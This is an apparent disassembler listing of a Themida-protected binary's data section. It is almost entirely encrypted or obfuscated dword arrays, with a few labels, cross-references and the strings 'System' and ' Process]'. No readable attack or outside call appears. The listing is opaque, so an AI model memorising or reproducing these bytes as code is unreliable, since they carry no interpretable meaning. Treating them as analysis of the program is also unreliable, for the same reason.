		dd 0BA453599h, 8823553Fh, 0BA23BCB8h, 0D2BA54C0h, 0D91335F3h
		dd 314535CFh, 6F866B46h, 356141BAh, 35617118h, 314535DAh
		dd 35866320h, 0B74A411Ch, 3145359Fh, 0A42DA4Dh,	0ACC861B3h
		dd 36ACF12Ch, 6CACB5CBh, 0B8C0B892h, 0CE42DCC2h, 3E853EE3h
		dd 3145AA1Dh, 61455FCCh, 3145368Eh, 0F21D1533h,	1501BCC1h
		dd 1501B4C8h, 31452F62h, 0F2157533h, 0F1A3D4E6h, 3E18916Eh
		dd 314538EFh, 3140DD33h, 0D1B03599h, 5177041Bh,	0ACC86F07h
		dd 36A17AD4h, 31453A71h, 2EC15DCCh, 0AFB72E2Ch,	6981AF84h
		dd 0E24DB9C1h, 31453C25h, 0FCAE6966h, 4B4397A9h, 891A0D40h
		dd 314535CDh, 0D913350Ch, 31453530h, 6F866BB9h,	35614145h
		dd 356171E7h, 31453527h, 278663DFh, 312FD633h, 3146DD33h
		dd 6C653533h, 5DCC685Ah, 75C431E8h, 31533142h, 64003533h
		dd 0B548625Ah, 0F561A841h, 312F328Fh, 3146DD64h, 6E653599h
		dd 4DCC6A0Fh, 75C43142h, 31523117h, 66023599h, 987A60Fh
		dd 0C6CE628Dh, 0B8C0B86Ch, 5B42DC3Dh, 32AD66CCh, 11453566h
		dd 0B81EF668h, 0B04111C5h, 29411188h, 72453566h, 628DF660h
		dd 0C916D36Bh, 3E15E533h, 314536EBh, 0FAFA3A33h, 0BA2355C3h
		dd 0D0C4531Fh, 3A24BCC5h, 25C13AF3h, 0BC453599h, 0D50AD251h
		dd 2EFC5361h, 31468D29h, 0D2BA3599h, 728A82C3h,	808EBE00h
		dd 3CF8B870h, 0BC42DC5Dh, 0D882FF41h, 6D388D61h, 0B476BF78h
		dd 36A1178Ch, 0D884FAE7h, 0F12CACC8h, 0B5CB36ACh, 0B8926CACh
		dd 0DCC2B8C0h, 3EE3CE42h, 0AA1D3E85h, 5E98345h,	0C08BA4F3h
		dd 8BF9EF8Ah, 34BE66C3h, 8BC08B95h, 0F1BD83FEh,	7E413h
		dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h,	47Ah, 0EED8589h
		dd 9D8D07E4h, 7E6EA57h,	585BD3FFh, 935BD83h, 740007E4h
		dd 0B8535017h, 47Ah, 0EED8589h,	9D8D07E4h, 7E6E6F8h, 585BD3FFh
		dd 0CE9h, 27C86600h, 0FFAA1ECDh, 0EC7C928Ah, 55006A6Bh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0F8795140h, 897E0B5h, 0FE952h, 0FCBB0000h, 9223ED56h
		dd 423B1F7Bh, 0E9C2EA82h, 0F605A1Eh, 0BA66DEBFh, 8B61ACB6h
		dd 848D8DC0h, 6A07E9C9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FF7C357h, 68Ah, 8C0F00h
		dd 1000000h, 0E41B199Dh, 718D8907h, 6A07E41Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89DDC357h, 0E430BD9Dh, 59BD8907h, 6607E42Ch,	85C7F98Bh
		dd 7E42DA1h, 71CCh, 1860Fh, 8BF90000h, 0B985C7D8h, 7E422h
		dd 53000000h, 0D818D31h, 0FF5807E4h, 0E406A5B5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 98A30569h, 503C4F08h, 8D89196Fh, 7E40881h, 306195FFh
		dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 2A5011C3h, 941858Bh, 0F98B07E4h, 95FF006Ah
		db 41h,	0Eh, 0E4h
byte_5DEE0F	db 7			; DATA XREF: Themida_:00582D0Co
					; Themida_:0058320Co
		dd 3DEBC08Bh, 6C2E7C34h, 0E22247D3h, 0D194B4E5h, 2B7EC397h
		dd 75175A38h, 1400621Ch, 0C8CB3443h, 0FB487312h, 34BA42C3h
		dd 7644A220h, 30AB7891h, 6CE54A29h, 0B0B8BF50h,	35824FAEh
		dd 0CD6965B0h, 6AC08B20h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4B89C353h, 0F5E0E37Eh
		dd 5BBA66C0h, 0F1BD832Fh, 7E413h, 0BD830975h, 7E40935h
		dd 50197400h, 0B8C08B53h, 3FCh,	14798589h, 9D8D07E4h, 7E6E9F0h
		dd 585BD3FFh, 935BD83h,	740007E4h, 0B8535017h, 3FCh, 14798589h
		dd 9D8D07E4h, 7E6E6DFh,	585BD3FFh, 66D2BF0Fh, 8BD2B8BAh
		dd 12E9C0h, 9E3C0000h, 711324D9h, 6DDC97Eh, 2F46E8E3h
		dd 8FB77926h, 2015BD83h, 0F0107E4h, 6C84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0F8F920Fh, 0C8Ah, 68F0F00h, 0F000000h, 86h, 0BD83F900h
		dd 7E40E2Dh, 2E850F00h,	66000000h, 0F26E381h, 15DBD83h
		dd 0F0007E4h, 4F84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 3A9E9F3h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 4B68C3h, 0F000000h, 0B060DBB7h, 0A7D88137h, 61468467h
		dd 0BE6459Fh, 4B98F7E0h, 0C097F087h, 4D407B24h,	2713E7A4h
		dd 91979A97h, 0C097F3A0h, 3CED024h, 0E4DB794Bh,	0E4D3710Dh
		dd 0C097EA80h, 3C6B142h, 9AA7D665h, 0CFA2E10Fh,	0C097F7CCh
		dd 41F19024h, 0A14F39CBh, 472C20F6h, 29D16857h,	0C097F4AFh
		dd 28C1F04Bh, 0C097F093h, 9E54AE68h, 0C4B384ADh, 0C4B3B493h
		dd 0C097F01Dh, 0D154A6C2h, 0C0971817h, 41CAF021h, 295C877Dh
		dd 95979A4Fh, 0C097F3CCh, 3CAD012h, 0E4FB7954h,	0E4D37180h
		dd 0C097E446h, 3C2B521h, 91979AE5h, 0C097F3A0h,	3CED024h
		dd 0E4DB794Bh, 0E4D3710Dh, 0C097E780h, 3C6B142h, 0ABAF1BCh
		dd 1C261Bh, 397D712Eh, 0C625608Ah, 191C9642h, 0CFC34699h
		dd 3EB3BC85h, 28C5F028h, 0C097F022h, 9A54AAB0h,	0C4B3A4C1h
		dd 0C4B3B4A5h, 0C097F007h, 3254A24Bh, 41CF0C30h, 9C4B1998h
		dd 0C29BF511h, 0C0FDF090h, 0C0941819h, 99B7F024h, 8C1EA9D1h
		dd 8416F42Dh, 0C08FF4A0h, 91D6F042h, 0EC088FE2h, 171C629Ah
		dd 9A607A1Ah, 0CF6BF8AFh, 0C097F396h, 7A407009h, 3CDF7BE2h
		dd 28C5F028h, 0C097F022h, 9A54AAB0h, 0C4B3A4C1h, 0C4B3B4A5h
		dd 0C097F009h, 0B854A24Bh, 8DDA77F1h, 4AFB8AC9h, 0DB7571FCh
		dd 789BEE5Dh, 0C097F049h, 28C6F04Eh, 0C097F011h, 9954A929h
		dd 0C4B3BC0Dh, 0C4B3B4C3h, 0C097F03Bh, 0A154A1D1h, 10D71629h
		dd 4E98DB36h, 0C097F017h, 38F69069h, 0B22DA0E5h, 499CCCECh
		dd 0B16D42Dh, 0AD0822CCh, 0AA4E7C2Eh, 0C37FA024h, 0E097F012h
		dd 49CF3351h, 4193D4C0h, 0D793D406h, 8097F021h,	660D33C0h
		dd 16125A4h, 0DE12FF20h, 9097F013h, 0C09C7E06h,	0C67EF084h
		dd 2C97F042h, 7188A12Fh, 0AACEAAABh, 0C37FA148h, 0E097F024h
		dd 49CE334Bh, 4193D445h, 0D993D4C0h, 8197F042h,	577E3370h
		dd 1FE84CDBh, 0C097E0A0h, 4630A424h, 0A5D1FE09h, 485D0CA6h
		dd 0A66F0444h, 0C611FF09h, 0CF97F021h, 0C097F015h, 0F917AB48h
		dd 0E612FF4Ch, 0A097F013h, 41F10383h, 0A1C99664h, 399689C9h
		dd 0C0970FA0h, 42987090h, 0C097F145h, 28C5F04Eh, 0C097F011h
		dd 9A54AA29h, 0C4B3A40Dh, 0C4B3B4C3h, 0C097F03Bh, 0ED54A2D2h
		dd 92344725h, 41F197B0h, 7D0B0F8h, 295D048Ch, 0C097F183h
		dd 90979A42h, 0C097F3C9h, 3CFD090h, 0E4D37910h,	0E4D37120h
		dd 0C097EA16h, 3C7B009h, 8C27F8Ch, 2976810Eh, 0C097F0C6h
		dd 28C6F0FAh, 0C097F04Bh, 9954A904h, 0C4B3BC9Bh, 0C4B3B488h
		dd 0C097F090h, 8C54A103h, 36AC03A0h, 4E7ECEB6h,	0AA97F048h
		dd 0C37FA124h, 0E097F012h, 49CE3350h, 4193D4C8h, 0DB93D406h
		dd 8197F021h, 23D233C1h, 0AA8168B9h, 39C1FE6Bh,	0A66FA948h
		dd 3F9C898Ah, 0C0CC748Bh, 0C0FDF042h, 0C0941876h, 9FB7F090h
		dd 0BC1EAF8Bh, 8416F400h, 0C083F436h, 97D0F009h, 45505347h
		dd 0C77E3AB6h, 0C097F020h, 28C5F0FAh, 0C097F04Bh, 9A54AA04h
		dd 0C4B3A49Bh, 0C4B3B488h, 0C097F09Ch, 5F54A200h, 826F9038h
		dd 0C092799Fh, 0B42DF048h, 29A7A82Ch, 0C097F017h, 5E01C692h
		dd 28F7B8B7h, 0C097F044h, 1BE595Fh, 0D27E54EBh,	6497F048h
		dd 0C6A2892h, 0B7AFCEB4h, 5E40E795h, 6D5E5E06h,	4F98A9F6h
		dd 0C097F027h, 0C097729Fh, 79F6F048h, 8D8A2C61h, 1006759Fh
		dd 7D1AF7E0h, 0C77E3E18h, 0C7E30879h, 946FF11h,	0AA621BD7h
		dd 0C37FA048h, 0E097F024h, 49CF334Ah, 4193D44Dh, 0DB93D4C0h
		dd 8097F042h, 56BB3371h, 0FF58F394h, 0C0FD589Bh, 0C0941876h
		dd 9AB7F012h, 941EAACAh, 8416F4A0h, 0C08BF466h,	92D5F021h
		dd 0F07B0353h, 2DBC5928h, 602C34C2h, 0CF8D3938h, 0C097EB8Bh
		dd 41F19084h, 292E5D99h, 0C097F02Eh, 0D9B8AFB7h, 3B7EB58h
		dd 0D0AFA135h, 0A1A85E32h, 0E0824D8Ah, 0CF96F760h, 0C09793C6h
		dd 27647121h, 43822AA1h, 2499DDF5h, 4598F023h, 0C097F042h
		dd 28C2F063h, 0C097F087h, 9D54AD62h, 0C4B39CA8h, 0C4B3B411h
		dd 0C097F052h, 0D554A561h, 5A0C6444h, 7D14EAA9h, 0C773F1D9h
		dd 8813FF42h, 0AA97F021h, 0C37FA390h, 0E097F048h, 49CC337Fh
		dd 4193D44Eh, 0D693D44Dh, 8397F084h, 0AE313311h, 875C702Fh
		dd 0C0973479h, 96979A48h, 0C097F3CCh, 3C9D012h,	0E4E37957h
		dd 0E4D37180h, 0C097EA46h, 3C1B621h, 0B16817Ch,	4312A88Fh
		dd 24B7E599h, 4598F115h, 0C097F062h, 28C2F0EEh,	0C097F041h
		dd 9D54AD01h, 0C4B39C19h, 0C4B3B4C9h, 0C097F032h, 0FE54A557h
		dd 0E92C99ADh, 9DA75E13h, 7A5405C8h, 0AACD5B7Ch, 0C0979479h
		dd 97979A48h, 0C097F3CCh, 3C8D012h, 0E4EB7956h,	0E4D37180h
		dd 0C097EC46h, 3C0B721h, 53B0CEDFh, 3057D4F0h, 0C0861985h
		dd 0E18AF012h, 0E51CD668h, 0F9E4A9CDh, 55BE5563h, 9D0CBC4Bh
		dd 0F981F10h, 28C7F022h, 0C097F027h, 9854A832h,	0C4B3B480h
		dd 0C4B3B405h, 0C097F05Fh, 7C54A061h, 4A66F5D7h, 0BFE14ABCh
		dd 0C52A7D0Dh, 4D9019D9h, 2947AE84h, 9C8A4883h,	45A48B78h
		dd 0C773EE80h, 29563FBBh, 8A2C6179h, 6759F8Dh, 1AF7E010h
		dd 7E3E187Dh, 0E30879C7h, 46FF11C7h
		db 9
byte_5DF501	db 83h,	0E9h, 5		; DATA XREF: Themida_:005838A0o
		dd 0BD83A4F3h, 7E9CAF4h, 8D0D7400h, 0E44FE78Dh,	1B807h
		dd 0E1FF0000h, 53006A40h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 309640FCh, 11E9E8EAh
		dd 20000000h, 27BB337Ah, 0EBB3FC46h, 0FD301F4Ah, 626FD3D4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CCC35646h
		dd 4CFF5C78h, 8322E99Eh, 6A2DE8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 12BC30C3h, 0DE8B557Fh
		dd 35BAD0B6h, 8B6F5209h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0F606885h, 38Ch, 0FBB70F00h
		dd 11E9h, 0F30DB400h, 4F9B87E3h, 5B4148A9h, 0DC8896A8h
		dd 0BA61FAD9h, 7BE59F51h, 0BD83D68Bh, 7E413F1h,	83097500h
		dd 0E40935BDh, 19740007h, 0C08B5350h, 3FCB8h, 0ED858900h
		dd 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h,	7E409h
		dd 53501774h, 3FCB8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh
		dd 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0FE43D60Dh, 0AF291F79h, 0FD08B66h
		dd 28Fh, 6AD78B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 8182C357h, 22255AF6h, 8B661908h
		dd 8DC08BDFh, 0E9D2F38Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 6BCB353Fh
		dd 5C3A205Ch, 1415BD01h, 8D2907E4h, 7E426B9h, 1B718D89h
		dd 0BD8B07E4h, 7E425C1h, 2DA185C7h, 657807E4h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0EC5E1EC3h, 0DB0591EDh, 664E90DDh, 379CF781h, 22B985C7h
		dd 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h,	44810424h
		dd 150424h, 57470000h, 0FF2E9FC3h, 0E41E8DB5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 2FA7A37Ah, 6195FFF1h, 6A07E430h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0CAA0C352h
		dd 0BF6656F4h, 6A5F6537h, 4195FF00h, 8B07E40Eh,	9B1CEBC0h
		dd 13B3C4D3h, 2BE4316h,	0EBE82EC0h, 2D076329h, 1B0C63C0h
		dd 0BFD691ACh, 0E9D0BBEEh, 170h, 571542D8h, 85586880h
		dd 4DA44CACh, 0A7958AFh, 53725634h, 0A71567Fh, 537A5850h
		dd 3A51717Eh, 5303247Eh, 0D1F87074h, 9DFCC452h,	5244B683h
		dd 53351480h, 128h, 0
		dd 4, 2	dup(0)
		dd 35h,	0
		dd 8, 0
aSystem		db 'System',0
aProcess	db ' Process]',0
		align 10h
		dd 41h dup(0)
		dd 1820E9h, 0D6A66800h,	22E907E9h, 68FFFB8Ah, 7E9D7CFh
		dd 0FB8A18E9h, 0D88F68FFh, 0EE907E9h, 68FFFB8Ah, 7E9D973h
		dd 0FB8A04E9h, 0DAB368FFh, 0FAE907E9h, 68FFFB89h, 7E9DC2Ah
		dd 0FB89F0E9h, 0DD0868FFh, 0E6E907E9h, 68FFFB89h, 7E9DDBAh
		dd 0FB89DCE9h, 0E06468FFh, 0D2E907E9h, 68FFFB89h, 7E9E12Bh
		dd 0FB89C8E9h, 0E21268FFh, 0BEE907E9h, 68FFFB89h, 7E9E294h
		dd 0FB89B4E9h, 0E44C68FFh, 0AAE907E9h, 68FFFB89h, 7E9E9E0h
		dd 0FB89A0E9h, 0EB2668FFh, 96E907E9h, 0FDFFFB89h, 0B3C8FB5Dh
		dd 687DB0A6h, 182D60ECh, 0CCE11440h, 5C90C387h,	0E565EE7Fh
		dd 98BA9DB2h, 4A065065h, 0FB530217h, 16F963C8h,	23FF63E6h
		dd 0D92E2FE3h, 0A188D27Ch, 0A8AF98B2h, 120579AAh, 0DAC10B43h
		dd 9A8DD179h, 344891B9h, 15D533FFh, 3295C6ABh, 0C20C042Ah
		dd 8DC3937Ah, 0A504475Ch, 9AA723F9h, 0D3BA0256h, 3588CC82h
		dd 0F9A02050h, 0DF101D23h, 0F99F96CAh, 113B1923h, 0D77FDACDh
		dd 36195E93h, 9DB24549h, 5E8E99D1h, 2D9E5Ah, 0BBA20000h
		dd 382B399h, 7EC8C0E6h,	0F9979C9Bh, 87D27F23h, 534286CFh
		dd 23F9981Fh, 2D5BF487h, 12431346h, 5EAA227Ah, 114495Ah
		dd 0D9480000h, 0A188D27Ch, 0F15BF9B3h, 0E0115AADh, 0A5DA796Ch
		dd 147D2317h, 0B8FC454Dh, 7ABE90C5h, 3680CE87h,	93C3A6EEh
		dd 981C15F4h, 0F476A68Bh, 66731C15h, 0F1981B52h, 0C9FA3AD9h
		dd 0C1A8F066h, 0A4D4B993h, 0A91C1623h, 0ED566B9Ch, 7F1C1628h
		dd 20245437h, 1C291C16h, 0CB83D2EBh, 7CD28398h,	58FDE438h
		dd 94BFB2F6h, 303C6DB6h, 69E1721Eh, 0A5D2AF55h,	0B2FBFDDAh
		dd 16035668h, 172B1F34h, 95C6DD95h, 977D381Bh, 74F23FAh
		dd 0FA6EF424h, 0BBECF923h, 6EDC7724h, 0C4EAF225h, 6EB8E8CBh
		dd 233323FAh, 3A19C62Dh, 3079CC10h, 76BA9DE7h, 1B2BE158h
		dd 76DDC40Eh, 0C78CA1D4h, 7A8C9183h, 0F418C2A6h, 1564F7h
		dd 7DDB7F00h, 3224354Ah, 0E26AEAFFh, 96BE9AAFh,	45054E63h
		dd 70FDDE12h, 1F3467E3h, 0D2E71A38h, 8499CC84h,	0E54A7DD1h
		dd 6468987Bh, 0B16523FFh, 0C89178B0h, 0EF74A8Eh, 0BED70848h
		dd 6D82B595h, 0D41C66E8h, 158EC1F1h, 80B1BE1Ch,	0C0E6A21Dh
		dd 62DAECFDh, 3B8425D3h, 9B0F0EF1h, 0FF0C23F9h,	5A8A6DB5h
		dd 5F23F998h, 0BEAD2152h, 23F9988Ah, 74F05FF2h,	5A5EA924h
		dd 0E643h, 0F5604700h, 0D9A92859h, 3A8ED27Ch, 94D0353h
		dd 0E76C85B6h, 75071963h, 96FADBB7h, 7F66A9Bh, 1C15D29Eh
		dd 0D303E62Eh, 2B1C15C9h, 0A7D6E770h, 41178DCh,	0B39BBAD3h
		dd 0BEF80A80h, 697B14E6h, 0B1F559FCh, 0CBE4155Eh, 2C80C48Ah
		dd 0E3F1145h, 9AE4EC02h, 0FA62FCB7h, 0F0D7AF23h, 3F0BD6F0h
		dd 0DA5083CCh, 9798B1C8h, 0D188CFF7h, 0A5EE4185h, 7F466874h
		dd 48324EDCh, 0EBF50963h, 0D7ED6115h, 91B65AEh,	3C42B3CCh
		dd 32ACDD8Eh, 0FD5303EAh, 203566B9h, 2BE09CCBh,	664D97A4h
		dd 152A5DEDh, 0F91A0C3Eh, 9BC2A5C1h, 143B7A77h,	0B2A80000h
		dd 0FB5E73A6h, 4113285Bh, 95C3D80Bh, 0DC778CBFh, 0A4073B6Eh
		dd 5D90BA99h, 10430F48h, 0C2F55BFBh, 73A6A8ADh,	91C1A40Eh
		dd 8E23FF65h, 7AD9D9DAh, 0CD889DD0h, 0D9D34E81h, 3A8ED27Ch
		dd 4994C328h, 563F839Eh, 0B90C5000h, 68E66F88h,	18342035h
		dd 0DA74E1D4h, 4704FBA7h, 0FCDF2921h, 23F9E4F5h, 0E965F0D7h
		dd 9E1421B8h, 83C5E013h, 0D1B8001Bh, 0B4E4C983h, 0B90C83C5h
		dd 596F7BACh, 79240751h, 6E1467E3h, 11371D61h, 5FECCF19h
		dd 3D1B8769h, 0B4FFF56h, 0E3F087B8h, 0AAA2B299h, 68E21366h
		dd 7BDAD481h, 0E1578AD3h, 1555DFAh, 0BCD5064Fh,	66C3B599h
		dd 5AD23AE9h, 137B3936h, 0F2680000h, 3B1E3366h,	81D3E81Bh
		dd 0D58398CBh, 1C374C7Fh, 0E4C7FB2Eh, 1D50FA59h, 0D0034F08h
		dd 82B59BBBh, 3366E86Dh, 518164CEh, 4E23FF67h, 7CD9999Ah
		dd 0E82C2432h, 22084C95h, 0D7BA040Ch, 23F9BAD8h, 957CC6D3h
		dd 0FB4E92C4h, 35267CAh, 6BB3074Bh, 0BB104023h,	0D23F9h
		dd 0F9BAEB1Bh, 0B2E3F023h, 3E8880A6h, 0E38E645Bh, 0D87D642Bh
		dd 19492C76h, 161C238Eh, 3441D809h, 0FC5203EAh,	0E2A1B4C9h
		dd 0ED4A0D44h, 2165AEDDh, 7EC7BBCDh, 0E11131CDh, 22C6CEFEh
		dd 75BECB1Ch, 1A163844h, 99D6EDD0h, 0CCD9240Ch,	94BA9B82h
		dd 8FF0634Ah, 71F9FB93h, 2859A2B5h, 0A9A5B0C5h,	0C1697F65h
		dd 87CFB892h, 0E93285C9h, 2C0F579Fh, 23FA2AFCh,	0AEC3F401h
		dd 2BDE4257h, 6A554754h, 0B2C2A7F7h, 1297918Eh,	0E4C0000h
		dd 5702174Ah, 9DB7CCFFh, 0F1677CAFh, 381B3063h,	0ABDF12h
		dd 134163Dh, 0B4E76BECh, 6699B79Fh, 174A0451h, 356548B2h
		dd 3A23FF68h, 7AD98586h, 0E12A2630h, 8880A6AEh,	0ADC85B3Eh
		dd 1E823F9h, 63B6FA54h,	4A8E9B32h, 0B485FE57h, 291C1A27h
		dd 0ACC1F43Dh, 7B61A5A9h, 30135D55h, 2BDE3411h,	0CABD010Eh
		dd 6280C48Ch, 0B78CA486h, 59FFE8D5h, 12ADB7FBh,	0B550503Dh
		dd 46084D9Ah, 0EDE50B13h, 0A82DC0A3h, 0E5F223FAh, 0A7A7AEA1h
		dd 1738DF63h, 7CD48269h, 86988068h, 34657834h, 0C00A0628h
		dd 0A0D17BD9h, 4B04326h, 0A9902BDEh, 0D970A1ABh, 3C2399CCh
		dd 0EE07381Ch, 0B69DE767h, 1A6DB1A1h, 528675E9h, 931C15E8h
		dd 71E4014Eh, 0C095AADDh, 42644A8Eh, 0CE19FC46h, 0C123F9FBh
		dd 0D8A0D0B3h, 909D23F9h, 8C9E1447h, 23DFED7h, 0F2A2D34Dh
		dd 630F2116h, 0CD1760F6h, 0E445FBEAh, 9DB69D2Bh, 0D8E57CADh
		dd 0CA80D362h, 0C5639786h, 0DDF31C22h, 0B4A48BD5h, 12F56FA0h
		dd 240C9903h, 0E717FA08h, 0E423FA72h, 5D448ED7h, 0E2356F8h
		dd 0D0C30747h, 0E0D5C783h, 3CBAC39Eh, 11571B18h, 0CE8C0000h
		dd 1742578Ah, 5DF70C3Fh, 0B1A7BCEFh, 0F85B70A3h, 0C0EB1F52h
		dd 4174D67Dh, 0F4272B2Ch, 0A6D977DFh, 578AC491h, 75A588F2h
		dd 7A23FF68h, 7AD9C5C6h, 40279DD0h, 0F20B3C18h,	0B4A7EB63h
		dd 3469ADA1h, 0D28360EFh, 0E5B5497Ch, 825DBAA3h, 1BCh
		dd 77CD981h, 8669D629h,	1C167F56h, 0B6324653h, 0DA1E67E0h
		dd 96E06EE7h, 0A2E1AAAFh, 0DEA8D1h, 1F72B6FFh, 6D838BEEh
		dd 0F5381B65h, 0D723F9CBh, 0B9EA66F0h, 0E2D11522h, 23F9C8AEh
		dd 0A0CC8316h, 5A5EA5C8h, 3A6Fh, 0C0E66E00h, 0DC253128h
		dd 1B024A92h, 333183Eh,	81C158Fh, 0F58FE5Bh, 97CAC9DEh
		dd 8D6523F9h, 57AF3059h, 7BBF080Bh, 0FA2F588Ch,	222DC023h
		dd 5E021646h, 0E3155Ah,	78140000h, 8F1D4D30h, 7B751C15h
		dd 97F8D1CBh, 0F4253299h, 0F0D37ADBh, 1C1646C0h, 1D67B0BDh
		dd 0EA2E1E36h, 0AAF361F7h, 0CAB10579h, 88A7F88Bh, 1A2502Dh
		dd 0E56E87B8h, 9C518164h, 414E1C15h, 9D9CAEF8h,	0C9E0F358h
		dd 410D4831h, 579AAFDh,	6B404312h, 86CA8C6Eh, 0ECDBEF42h
		dd 1A64AD6Dh, 0EB24AB08h, 159BD808h, 0B4C8D51Ch, 5182BCD1h
		dd 0E36BEADDh, 0AA369FB0h, 9EB71C15h, 53757DB0h, 532A0D57h
		dd 5823FC89h, 391A014Bh, 8AC9DE11h, 82ACDCBFh, 0A4B123FCh
		dd 8E62695Bh, 7EA2BAC1h, 0FE081h, 1570300h, 0B6A0B9CEh
		dd 66E66E83h, 1A3A1E33h, 0C981D2E7h, 0F4796296h, 0A3B8EB5Fh
		dd 566B9EB4h, 81D5000h,	69CE014Dh, 6AEC1CFFh, 3DF123FFh
		dd 0D07AD93Ch, 0B6CD889Dh, 0EA13983Dh, 0AFE22BE0h, 327CD934h
		dd 92E52921h, 69B10549h, 997ED682h, 1C158E69h, 2C0F5966h
		dd 1C158EFCh, 0AAC3F401h
		dd 5B70A3ABh, 0AEA2B4FAh, 153B2165h, 89F0D31Dh,	2323F9A7h
		dd 0F4381C3Ch, 0CCD970A1h, 0A112399h, 53758023h, 325275A6h
		dd 5C000008h, 296DDF75h, 0E96BEDD6h, 0A22152A5h, 1D4D3078h
		dd 221C158Fh, 88CBE415h, 5B8F7EC2h, 0EB1C158Eh,	0F8402C5h
		dd 7A5EF90Ah, 0E12A73DBh, 0D8ADB497h, 556223FFh, 1D31240Bh
		dd 380D5EAh, 0BEBCD256h, 0D2165F76h, 0E4D674DFh, 0BABEA5DDh
		dd 2060327h, 0E100000Fh, 97ACDF79h, 4C6194C2h, 0FC114408h
		dd 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h, 2E223449h
		dd 0DF6FE6FBh, 0FADD47ACh, 23FF6BCAh, 0D91A1BCFh, 889DD07Ah
		dd 0EF3781CDh, 158EDC0Ch, 0A3D4E11Ch, 5FF4DB2Fh, 0B4A1BAEBh
		dd 0B33E509Ah, 74C299CEh, 396EE213h, 0C78E5BF4h, 95DE6CE7h
		dd 0AADAEC62h, 26ACA07Ah, 7424BCEDh, 0F35DBAA3h, 0Dh, 999EDDF2h
		dd 2C1F1C15h, 0FFFFFD81h, 8EA9DD31h, 17391C15h,	6DEAD11Bh
		dd 1D4EA1E5h, 61C1C0A3h, 515E23FFh, 19352007h, 2A84D1E6h
		dd 8EE1252Dh, 450E0145h, 0AFC41305h, 0BCE0BABEh, 0E50BFh
		dd 91C79300h, 4610495Eh, 0F656FE13h, 0AAAAAEC3h, 59F16277h
		dd 84C9F226h, 33487BCFh, 0E6FB2E24h, 98ADE070h,	0F95E91BDh
		dd 6B7CAC8Fh, 0CD8123FFh, 4D3078CCh, 1C158F1Dh,	1311422h
		dd 0FE1C158Fh, 94BFA8F1h, 0EE1F72B6h, 262E80D5h, 0A699DD26h
		dd 265B9FAFh, 457558A0h, 4A1C158Fh, 4E97B99Dh, 7E6BE41Dh
		dd 61ECACD7h, 8F4DCEE2h, 2F7F1346h, 725DBA49h, 4387CD8Bh
		dd 251FBFF0h, 1E000000h, 1D4D3078h, 221C158Fh, 90CFE415h
		dd 291C1599h, 0FFFCB836h, 0FE5940FFh, 19A0B389h, 64AD636Ch
		dd 1D9CCD20h, 7EC8C0E6h, 0F9AE7C9Bh, 0E525F23h,	0F9AEEC1Fh
		dd 0C5E76D23h, 3074BD8Fh, 0BF981A3Dh, 0B3FC4F93h, 1268516Fh
		dd 5707865Eh, 6380CF44h, 11155EF4h, 0C595D17Eh,	625A5E31h
		dd 222h, 8ED9DD61h, 0AEDC1C15h,	0A487C68Fh, 1C158E74h
		dd 0F0236C79h, 90D47ADBh, 158ED5A1h, 53FF581Ch,	183C1C0Fh
		dd 0F55A9FD4h, 0D5BC9898h, 0BAEACD80h, 0BF1C158Eh, 0FF3869B2h
		dd 8CC29350h, 9ED1E359h, 9F2174A8h, 1E354172h, 246DE174h
		dd 0E668EDE0h, 97B79EB3h, 0C5A06453h, 0D3831C15h, 0C469997Ch
		dd 59661C15h, 7FD9CC10h, 0FA7991D5h, 93BF9855h,	0AFB3FC4Fh
		dd 0EE62F4DBh, 61836BDAh, 3263FFB2h, 520A56F9h,	0D95DBA49h
		dd 196h, 77EFCBDDh, 6A9CCCAFh, 94A11C16h, 6E8C2D80h, 7D27975Ah
		dd 8392718h, 77CD989h, 0AE13D7BDh, 5CA6EFB2h, 0CBB4C54Ah
		dd 0E91A9679h, 7BD38275h, 3DA71F31h, 9B19FA2Dh,	0E9FF076Ah
		dd 0F5391341h, 2C0F59A2h, 23FA51E9h, 6E5DA1AEh,	23FA4B3Ah
		dd 75B99BBDh, 377BD382h, 0DDAAA51Ah, 5D0946D9h,	5A5E230Dh
		dd 612Ah, 12472E00h, 7CAD0044h,	0C8C0E6FDh, 90BE977Eh
		dd 302E55Fh, 0C523F998h, 976A9A7Dh, 626F23F9h, 0BDC29A31h
		dd 32079399h, 0B3C50F58h, 4C3D4B57h, 68DC0D46h,	292B2D14h
		dd 654892E5h, 23FA7035h, 0E7FC2D3Ah, 23FA6FB3h,	0EE322236h
